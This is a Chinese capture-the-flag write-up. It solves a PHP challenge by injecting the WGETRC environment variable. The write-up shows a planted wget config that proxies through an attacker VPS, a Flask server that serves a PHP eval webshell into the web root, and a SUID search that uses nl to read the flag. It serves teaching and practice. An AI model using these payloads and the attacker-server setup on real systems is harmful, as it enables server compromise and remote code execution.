startctf环境变量注入的改编

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
if(isset($_POST['context'])){
$context = $_POST['context'];
file_put_contents("1.txt",base64_decode($context));
}

if(isset($_POST['env'])){
$env = $_POST['env'];
putenv($env);
}
system("wget --content-disposition -N fmyyy");

考点

​ 类似*CTF的那个环境变量注入的非预期解。

​ 阅读wget⽂档,可以知道wget存在WGETRC环境变量,这个变量的值为⼀个⽂件,可以进⾏⼀些参数设置。再阅读⽂档,可以看到两个参数,http_proxy 可以设置⼀个中间代理,每次执⾏wget时都会访问这个地址,output_document 可以指定wget的结果输出的地址。

解题过程

写入1.txt为

1
2
http_proxy=vps:18888
output_document=/var/www/html/myshell.php

base后

1
context=base64(1.txt内容)

此时访问/1.txt发现有base前的配置信息

POST设置环境变量

1
env=WGETRC=/var/www/html/1.txt

在vps上开个运行脚本的目录,写入一句话木马到1.txt

1
<?php phpinfo();@eval($_REQUEST['shell']);?>

在这个目录创建main.py文件,不能叫flask.py,会和包冲突,这个文件是为了wget访问的时候,会下载这个1.txt,然后配合outptu_document参数写入到指定文件即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, make_response
#import secrets

app = Flask(__name__)

@app.route("/")
def index():
with open('1.txt') as f:
r = f.read()
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=1.txt'
return response

if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=18888)

刷新下界面,就可以执行wget,从而走这个代理,写入webshell

访问/myshell.php,发现写入shell

直接cat /flag 没权限,suid提权

1
shell=system('find / -perm -u=s -type f 2>/dev/null');

得到

1
/bin/su /bin/umount /bin/mount /usr/bin/passwd /usr/bin/nl /usr/bin/newgrp /usr/bin/chsh /usr/bin/gpasswd /usr/bin/chfn

所以使用nl拿flag

1
shell=system('nl /flag');